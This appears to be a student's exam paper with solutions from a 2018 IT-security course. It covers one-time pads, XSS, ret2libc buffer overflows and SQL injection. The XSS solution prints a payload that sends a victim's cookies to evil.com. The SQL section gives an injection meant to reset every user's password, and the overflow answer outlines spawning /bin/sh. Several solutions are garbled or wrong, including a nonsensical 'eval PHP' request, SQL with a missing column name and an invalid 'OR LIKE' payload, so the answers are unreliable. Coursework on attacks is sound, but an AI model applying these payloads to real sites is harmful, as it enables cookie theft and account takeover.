2018 Exam

Multiple Choice Part

Which of the following security mechanisms provide integrity?

  • MAC
  • Digital signature
  • Public Key Cryptography
  • Symmetrical Cryptography


Let a cookie have the property secure - which requests does it get attached to?


When is a process secure under the assumption that for it uses a secure password pp a secure hashing function h(p)h(p) and a public database for authentication? (assuming the communication is encrypted)

  • h(p)h(p) gets transfered and h(p)h(p) gets stored
  • pp gets transfered and h(p)h(p) gets stored
  • h(p)h(p) gets transfered and pp gets stored
  • pp gets transfered and pp gets stored


Which of the following are effective counter-measures against Cross-Site-Request-Forgery CSRF?

  • Anti-CSRF-Tokens in Forms
  • Referer Header validation
  • Custom HTTP-Headers
  • classic Cookie Authentification


Which attacks does a stack canary prevent that sits between local variables and the return address pointer?


Which attacks does the DEP prevent?


Which of the following are successful countermeasures against an SQL injection?

  • Detecting wheter <script> -Tags were used is enough
  • Whitelisting of allowed characters
  • Prepared Statements
  • Input validation (?)


A javascript script on the page a.com/index.html can do the following things: (Same Origin Policy)

  • Open the page a.com/irgendwas.html in another tab
  • Open the page a.com/irgendwas.html in another tab and edit the DOM
  • Open the page b.com/irgendwas.html in another tab
  • Open the page b.com/irgendwas.html in another tab and edit the DOM

One time pad OTP

What can an attacker learn in the following situations?

  1. Messages m1m_1 and m2m_2 get encrypted with the same key kk . An attacker knows this. What can the attacker learn about the messages?
    • Solution

      c1=Enc(k,m1)=km1 c_1=\operatorname{Enc}\left(k,m_1\right)= k \oplus m_1 

      c2=Enc(k,m2)=km2 c_2=\operatorname{Enc}\left(k,m_2\right)= k \oplus m_2 

      c1c2=m1m2c_{1} \oplus c_{2}=m_{1} \oplus {m}_{2}

      which is vulnerable to frequency analysis.

  1. Message mm gets encrypted with kk . The attacker knows the message and its cipher. What can he figure out about kk ?
    • Solution

      c=kmc= k \oplus m

      ck=mc \oplus k = m

      Attacker knows mm and cc and can figure out the key based on that.

  1. A message is 2 bits shorter than its key and therefore gets encrypted the following way: c=OTP(01m,k)c = \text{OTP}(01 \mid\mid m,k) where 0101 stands for the bitwise concatenation.
    • Solution

      If we just add 2 bits to the message so that it matches the length of the key, we change nothing about the security.

Cross Site Scripting XSS

<html> Output: <?php echo $_GET["argument"]; ?></html>
  1. Where does the vulnerability lie?
    • Solution

      There is no user validation, the server returns a HTML page with the php command added to echo .

      Remote code execution is not possible since we dont execute injected code on the server, but this code is vulnerable to reflected XSS attacks.

  1. Generate a URL that reads the cookie and sends it to an evil site.
    • Solution

      Get uses the arguments from query parametrs, we therefore just write a php script:

      GET ?argument=a; eval("PHP SCRIPT HERE") # HTTP/2
      Host: example.com

      That gets executed on the client side.

      https://original.com/argument=<script>fetch('https://evil.com/',{method: 'POST', body: document.cookie});</script>
  1. Why can this code access the cookies?

    Because we are not validating the user input from the URL query.

Buffer Overflow

Given: C-code with a bufferflow vulnerability where we print things at different points with printf(...) .

  1. Where does the vulnerability lie?
    • Solution

      Programs that use functions from a shared library (like printf from libc), link entire library into their address space at run time.

      Therefore a Return-to-libc ret2libc attack is possible

      Allows bypassing DEP: No code injection.

  1. Write an explout that uses the vulnerability to call a shell
    • Solution
      1. overwriting ret → library instructions, like system(), exec(), ...
      1. Setting function arguments ( funcp behind ret ) to "/bin/sh"
  1. Describe how each of these memory security measures could have prevented the attack: Canary, DEP, ASLR
    • Solution
      • Canary could possibly have prevented overwriting the return pointer
      • DEP would have no effect
      • ASLR would have made it really difficult to guess the library instruction

SQL-Injection

Query that updates a users password:

$var_username = $_GET['username'];
$var_password = $_GET['password'];
$sql = "UPDATE users SET  = '" . $var_passwort . "' WHERE username = '"+var_username+"'";
mysql_query(sql);
  1. Write an exploit that sets the passwords of all users to "hacked"
    • Solution
      username:  ' OR LIKE '%
      password:  hacked
  1. Which SQL query gets executed?
    • Solution
      UPDATE users SET 'hacked' WHERE username = '' OR LIKE '%'
  1. What are prepared statements and how do they prevent SQL injections?
    • Solution

      allow to embed untrusted parameters in a query, while ensuring that their syntactical structure is preserved

  1. What would this code look like with prepeared statements?
    • Solution
      <?php
      $db = new PDO(CONNECTION_STRING, DB_USER, DB_PASS);
      $query = "UPDATE users SET  = ? WHERE username = ?";
      $sth = $db->prepare($query);
      $sth->bindValue(1, $_GET['password']);
      $sth->bindValue(2, $_GET['username']);
      $sth->execute();
      $user = $sth->fetch();
      // ...
      ?>